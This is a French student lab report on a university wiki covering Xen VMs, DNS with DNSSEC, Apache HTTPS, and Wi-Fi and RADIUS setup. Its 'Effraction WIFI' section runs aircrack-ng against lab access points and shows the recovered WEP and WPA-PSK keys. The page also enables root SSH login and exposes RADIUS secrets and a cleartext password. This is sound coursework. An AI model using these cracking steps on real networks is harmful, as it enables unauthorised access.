« Atelier SysRes SE4 2025/2026 E6 » : différence entre les versions
Aucun résumé des modifications |
Aucun résumé des modifications |
||
| Ligne 342 : | Ligne 342 : | ||
EAPOL HMAC : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | EAPOL HMAC : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ||
</syntaxhighlight> | |||
==== Sécurisation wifi ==== | |||
===== Config routeur ===== | |||
On va configurer notre interface, son vrrp et le dhcp :<syntaxhighlight> | |||
ip dhcp pool PoolThomas | |||
network 10.60.6.0 255.255.255.0 | |||
dns-server 193.48.57.166 | |||
default-router 10.60.6.254 | |||
! | |||
... | |||
vlan 16 | |||
name E6-Thomas | |||
! | |||
... | |||
interface Vlan16 | |||
ip address 10.60.6.2 255.255.255.0 | |||
ipv6 address 2001:660:4401:60A6::2/64 | |||
vrrp 16 address-family ipv4 | |||
priority 110 | |||
address 10.60.6.1 primary | |||
exit-vrrp | |||
! | |||
</syntaxhighlight> | |||
===== Configuration bornes wifi : ===== | |||
Sur les bornes wifi, On applique la configuration donné par le sujet :<syntaxhighlight> | |||
conf t | |||
aaa new-model | |||
aaa authentication login eap_student5 group radius_student5 | |||
radius-server host 192.168.10.2 auth-port 1812 acct-port 1813 key secret_student6 | |||
aaa group server radius radius_student5 | |||
server 192.168.10.2 auth-port 1812 acct-port 1813 | |||
exit | |||
dot11 ssid VM_SERVICES_6 | |||
vlan 16 | |||
authentication open eap eap_student6 | |||
authentication network-eap eap_student6 | |||
authentication key-management wpa | |||
mbssid guest-mode | |||
exit | |||
interface Dot11Radio0 | |||
encryption vlan 16 mode ciphers aes-ccm | |||
exit | |||
interface Dot11Radio0.16 | |||
encapsulation dot1Q 16 | |||
bridge-group 16 | |||
exit | |||
interface GigabitEthernet0.16 | |||
encapsulation dot1Q 16 | |||
bridge-group 16 | |||
exit | |||
interface Dot11Radio0 | |||
ssid VM_SERVICES_6 | |||
exit | |||
</syntaxhighlight> | |||
===== Freeradius ===== | |||
Freeradius a été installé sur la machine de service, malgré différentes tentatives, je n'ai pas réussi à le faire fonctionner | |||
Dans /etc/freeradius/3.0/clients.conf , j'ai rajouté :<syntaxhighlight> | |||
client wifi-ap-306 { | |||
ipaddr = 172.27.0.3 | |||
secret = radius_thomas | |||
shortname = wifi-e306 | |||
nas_type = cisco | |||
} | |||
</syntaxhighlight>Dans /etc/freeradius/3.0/users :<syntaxhighlight> | |||
"tdelobel" Cleartext-Password := "Seconddegree2" | |||
Tunnel-Type = VLAN, | |||
Tunnel-Medium-Type = IEEE-802, | |||
Tunnel-Private-Group-Id = 16 | |||
</syntaxhighlight> | </syntaxhighlight> | ||
Version du 27 février 2026 à 16:39
Compte rendu :
Création du bridge dans capbreton
Avant de créer nos VM, on ajoute notre bridge à capbreton dans SE42026_cpayet_tdelobel
auto pont_pacman
iface pont_pacman inet manual
bridge_ports none
up ip link set $IFACE up
down ip link set $IFACE down
On utilise ifup pour le démarrer.
Création des VMs
Pour créer la VM de service et mandataire, on utilise les commandes suivantes
xen-create-image --hostname=SE4.Manjaro --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force
xen-create-image --hostname=SE4.LinusTorvalds --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force
Manjaro sera la machine de service et LinusTorvalds la mandataire Puis
xen create /etc/xen/SE4.Manjaro.cfg
xen create /etc/xen/SE4.LinusTorvalds.cfg
Nos machines sont maintenant listées.
Partitionnement
Sur capbreton
Tout d'abord on se donne 10g d'espace pour notre machine virtuelle :
lvcreate -n SE4.Manjaro.var -L 10G virtual
On ajoute dans /etc/xen/SE4.Manjaro.cfg :
disk = [
[...],
'phy:/dev/virtual/SE4.Manjaro.home,xvda3,w',
'phy:/dev/virtual/SE4.Manjaro.var,xvdb1,w'
]
Sur la VM
Afin que la configuration soit enregistré, on modifie le /etc/fstab en ajoutant les lignes suivantes :
/dev/xvda3 /var ext4 defaults 0 2
/dev/xvdb1 /home ext4 defaults 0 2
Puis dans le terminal, on utilise les commandes suivantes (à ne surtout pas utiliser sur capbreton !!)
mkfs -t ext4 /dev/xvda3
mkfs -t ext4 /dev/xvdb1
mount /dev/xvda3 /mnt
mv /var/* /mnt
umount /mnt
mount -a
On peut maintenant relancer la machine pour verifier si la config reste.
Enfin on répète le même schéma pour la machine mandataire.
Adresses ipv4 et ipv6
Tout d'abord dans notre machine des service, on donne une adresse ipv4 local et ipv6, on modifie donc le fichier /etc/network/interfaces :
auto lo
iface lo inet loopback
auto eth0
iface eth0 inet static
address 192.168.10.2/24
gateway 192.168.10.1
auto eth1
iface eth1 inet6 auto
On va aussi ajouter le bridge depuis capbreton dans /etc/xen/SE4.Manjaro.cfg:
vif = [[...], 'mac=00:16:3E:36:79:D9,bridge=SE4']
Et dans la machine mandataire on va donner une adresse ipv4 du reseau publique et privé:
auto lo
iface lo inet loopback
auto eth0
iface eth0 inet static
address 192.168.10.1/24
auto eth1
iface eth1 inet static
address 193.48.57.166/24
gateway 193.48.57.162
iface eth1 inet6 auto
On ajoute au fichier resolv.conf le dns de google et on install les outils qui nous servirons pour la suite (iptables-persistant, ssh, bind9, apache 2...)
Masquerade et ssh
Nous pouvons maintenant mettre en places les iptables pour s'occuper à la fois du ssh (redirection de port) et de la Masquerade avec les commandes suivantes :
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.10.3:22
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.10.0/24
Après avoir sauvegarder avec iptables-save, on décommente dans /etc/sysctl.conf:
net.ipv4.ip_forward=1
Enfin pour permettre de se ssh en root sur toutes les VM, on ajoute dans /etc/ssh/sshd_config :
PermitRootLogin yes
Maintenant, il n'est plus obligatoire de passer par capbreton pour se connecter aux VM, nous utiliserons les commandes suivantes :
ssh root@193.48.57.166 #pour la machine mandataire
ssh root@193.48.57.166 -p 2202 # pour la machine de service
DNS
Machine de service
On débute par modifier /etc/bind/named.conf.local , on y ajoute notre zone principale et celle de notre camarade :
zone "archlinux.lol" {
type master;
file "/etc/bind/zones/db.archlinux.lol";
allow-transfer{secondaries;};
also-notify{hiddensecondaries;};
notify yes;
};
acl "secondaries" {
192.168.10.3;
2001:660:4401:60a0:216:3eff:fe8b:45ed;
192.168.10.1;
2001:660:4401:60a0:216:3eff:feaa:bff0;
};
masters "hiddensecondaries" {
2001:660:4401:60a0:216:3eff:feaa:bff0;
};
zone "archlinuxbtw.lol" {
type secondary;
file "/etc/bind/backup/db.archlinuxbtw.lol";
primaries{2001:660:4401:60a0:216:3eff:fe8b:45ed;};
};
Puis on crée notre zone db.archlinux.lol :
$TTL 400
@ IN SOA ns.archlinux.lol. admin.archlinux.lol. (
3611 ; Numéro de version
21600 ; Rafraîchissement (6h)
3600 ; Re-tentative (1h)
2592000 ; Expiration (30j)
86400 ; Cache négatif (24h)
);
@ IN NS ns.archlinux.lol.
@ IN NS ns.archlinuxbtw.lol.
ns IN A 193.48.57.166
@ IN A 193.48.57.166
ns IN AAAA 2001:660:4401:60a0:216:3eff:fe36:79d9
@ IN AAAA 2001:660:4401:60a0:216:3eff:fe36:79d9
www IN CNAME archlinux.lol.
Machine mandataire
Dans la machine mandataire, on doit passer les zones de nos machine de service en zone secondaire, ainsi, on aura un fichier tel que celui-ci :
zone "archlinuxbtw.lol" {
type secondary;
file "/etc/bind/backup/db.archlinuxbtw.lol";
primaries{2001:660:4401:60a0:216:3eff:fe8b:45ed;};
};
zone "archlinux.lol" {
type secondary;
file "/etc/bind/backup/db.archlinux.lol";
primaries{2001:660:4401:60a0:216:3eff:fe36:79d9;};
};
acl "secondaries" {
2001:660:4401:60a0:216:3eff:fe8b:45ed;
2001:660:4401:60a0:216:3eff:fe36:79d9;
};
Enfin, il faut rajouter nos zones au Glue records de Gandi pour que notre DNS soit reconnu partout dans le monde.
On peut d'ailleurs le vérifier sur le site https://dnschecker.org/
DNSSEC
Afin de sécuriser notre DNS, on modifie notre /etc/bind/named.conf.local :
zone "archlinux.lol" {
type master;
file "/etc/bind/zones/db.archlinux.lol";
allow-transfer{secondaries;};
also-notify{hiddensecondaries;};
notify yes;
key-directory "/etc/bind/keys";
dnssec-policy "dnspol";
inline-signing yes;
};
acl "secondaries" {
192.168.10.3;
2001:660:4401:60a0:216:3eff:fe8b:45ed;
192.168.10.1;
2001:660:4401:60a0:216:3eff:feaa:bff0;
};
masters "hiddensecondaries" {
2001:660:4401:60a0:216:3eff:feaa:bff0;
};
zone "archlinuxbtw.lol" {
type secondary;
file "/etc/bind/backup/db.archlinuxbtw.lol";
primaries{2001:660:4401:60a0:216:3eff:fe8b:45ed;};
};
dnssec-policy "dnspol" {
keys {
ksk key-directory lifetime unlimited algorithm 13;
zsk key-directory lifetime unlimited algorithm 13;
};
nsec3param;
};
et on ajoute un répertoire pour les clés (auquel on donnera les permissions d'écriture) :
mkdir /etc/bind/keys
chown bind:bind /etc/bind/keys
chmod 750 /etc/bind/keys
Après avoir redémaré bind9 et named, on peut voir que les clés sont effectivement bien généré. Pour vérifier si notre DNS est sécurisé, il faudra passer par https://dnsviz.net/
serveur Apache
Sur la machine de service
En premier lieu, on va générer notre clé avec :
openssl req -nodes -newkey rsa:2048 -sha256 -keyout archlinux.lol.key -out archlinux.csr
Une fois la clé généré on récupère la certification la certification sur Gandi
On va ensuite créer notre site dans etc/apache2/sites-available/archlinux.lol.conf
La page html sera enregistré dans etc/www/archlinux.lol
On effectue aussi une redirection du port http vers https.
<VirtualHost *:80>
ServerName archlinux.lol
ServerAlias www.archlinux.lol
Redirect permanent / https://archlinux.lol/
</VirtualHost>
<VirtualHost *:443>
ServerName archlinux.lol
ServerAlias www.archlinux.lol
DocumentRoot /var/www/archlinux.lol
<Directory /var/www/archlinux.lol>
Options Indexes FollowSymLinks
AllowOverride All
Require all granted
</Directory>
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog /var/log/apache2/secure_access.log combined
SSLEngine on
SSLCertificateFile /etc/ssl/certs/archlinux.lol.crt
SSLCertificateKeyFile /etc/ssl/private/archlinux.lol.key
SSLCertificateChainFile /etc/ssl/certs/GandiCert.pem
SSLVerifyClient None
</VirtualHost>
Notre site est maintenant accessible en ipv6. Il faut maintenant configurer la machine mandataire pour qu'il le soit aussi en ipv4.
Sur la machine de mandataire
Là aussi, après avoir récupéré les clé et certificat de la machine mandataire, on va crée un fichier etc/apache2/sites-available/archlinux.lol-proxy.conf
<VirtualHost *:80>
ServerName archlinux.lol
ServerAlias www.archlinux.lol
Redirect permanent / https://archlinux.lol/
</VirtualHost>
<VirtualHost *:443>
ServerName archlinux.lol
ServerAlias www.archlinux.lol
SSLProxyEngine on
ProxyPass / https://archlinux.lol/
ProxyPassReverse / https://archlinux.lol/
ProxyPreserveHost on
SSLEngine on
SSLCertificateFile /etc/ssl/certs/archlinux.lol.crt
SSLCertificateKeyFile /etc/ssl/private/archlinux.lol.key
SSLCertificateChainFile /etc/ssl/certs/GandiCert.pem
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
Notre site est maintenant disponible partout et en https.
Effraction WIFI
Cassage WEP
sudo airodump-ng wlan1
On trouve cracotte06 avec son adresse et son chanel
sudo airodump-ng wlan1 --write dump --bssid 04:DA:D2:9C:50:55 -c4
Le fichier dump étant crée, on récupère la clé avec la commande suivante :
sudo aircrack-ng -b 04:DA:D2:9C:50:55 dump-22.cap
Aircrack-ng 1.7
[00:00:00] Tested 525 keys (got 63977 IVs)
KB depth byte(vote)
0 1/ 2 20(74752) 5B(73216) F0(73216) 1E(72704) 77(72192) 12(71936) 78(71936) ED(71936) 21(71680) EF(71680) 58(71424) AE(71424) 4D(71168) 5A(70656) 02(70400)
1 5/ 1 48(74496) DA(71936) 47(71680) 55(71680) B9(71168) BD(70656) DE(70656) 01(70400) 77(70400) A2(70400) 6C(70144) 74(70144) 7C(70144) 8E(70144) 92(70144)
2 73/ 2 CE(66560) CC(66304) E2(66304) DD(66048) ED(66048) 69(65536) 97(65536) A7(65536) AC(65536) B8(65536) 44(65280) 72(65280) D7(65280) EA(65280) F4(65280)
3 7/ 11 5C(73984) 14(72960) 6E(72960) E8(72448) 00(71424) EB(71424) 04(71168) 23(70912) 35(70912) AB(70912) 58(70656) 1B(70400) CA(70400) D4(70400) FE(70400)
4 0/ 3 F6(92416) 2D(73472) 30(72704) 6A(71680) 9D(71680) BD(71680) C9(71680) 2B(71168) 3D(70400) 52(70400) C8(70400) D8(70400) 49(70144) F8(70144) FE(69632)
KEY FOUND! [ FF:FF:FF:FF:FA:BC:07:CB:AE:EE:EE:EE:EE ]
Decrypted correctly: 100%
Cassage WPA-PKS
sudo airodump-ng wlan1 --write dump --bssid 44:AD:D9:5F:87:05 -c13
On va maintenant essayer de récupéré la clé avec un dictionaire dico.txt
sudo aircrack-ng -a2 -w dico.txt -b 44:AD:D9:5F:87:05 dump-23.cap
Aircrack-ng 1.7
[00:28:29] 66973408/100000000 keys tested (39839.22 k/s)
Time left: 13 minutes, 48 seconds 66.97%
KEY FOUND! [ 66684666 ]
Master Key : 63 5F 7F 36 2C 70 49 04 6A 29 11 FE C8 C1 0C FD
4D 16 18 BE C9 48 70 31 C5 7B 13 BD E1 02 8A 15
Transient Key : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
EAPOL HMAC : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Sécurisation wifi
Config routeur
On va configurer notre interface, son vrrp et le dhcp :
ip dhcp pool PoolThomas
network 10.60.6.0 255.255.255.0
dns-server 193.48.57.166
default-router 10.60.6.254
!
...
vlan 16
name E6-Thomas
!
...
interface Vlan16
ip address 10.60.6.2 255.255.255.0
ipv6 address 2001:660:4401:60A6::2/64
vrrp 16 address-family ipv4
priority 110
address 10.60.6.1 primary
exit-vrrp
!Configuration bornes wifi :
Sur les bornes wifi, On applique la configuration donné par le sujet :
conf t
aaa new-model
aaa authentication login eap_student5 group radius_student5
radius-server host 192.168.10.2 auth-port 1812 acct-port 1813 key secret_student6
aaa group server radius radius_student5
server 192.168.10.2 auth-port 1812 acct-port 1813
exit
dot11 ssid VM_SERVICES_6
vlan 16
authentication open eap eap_student6
authentication network-eap eap_student6
authentication key-management wpa
mbssid guest-mode
exit
interface Dot11Radio0
encryption vlan 16 mode ciphers aes-ccm
exit
interface Dot11Radio0.16
encapsulation dot1Q 16
bridge-group 16
exit
interface GigabitEthernet0.16
encapsulation dot1Q 16
bridge-group 16
exit
interface Dot11Radio0
ssid VM_SERVICES_6
exitFreeradius
Freeradius a été installé sur la machine de service, malgré différentes tentatives, je n'ai pas réussi à le faire fonctionner
Dans /etc/freeradius/3.0/clients.conf , j'ai rajouté :
client wifi-ap-306 {
ipaddr = 172.27.0.3
secret = radius_thomas
shortname = wifi-e306
nas_type = cisco
}Dans /etc/freeradius/3.0/users :
"tdelobel" Cleartext-Password := "Seconddegree2"
Tunnel-Type = VLAN,
Tunnel-Medium-Type = IEEE-802,
Tunnel-Private-Group-Id = 16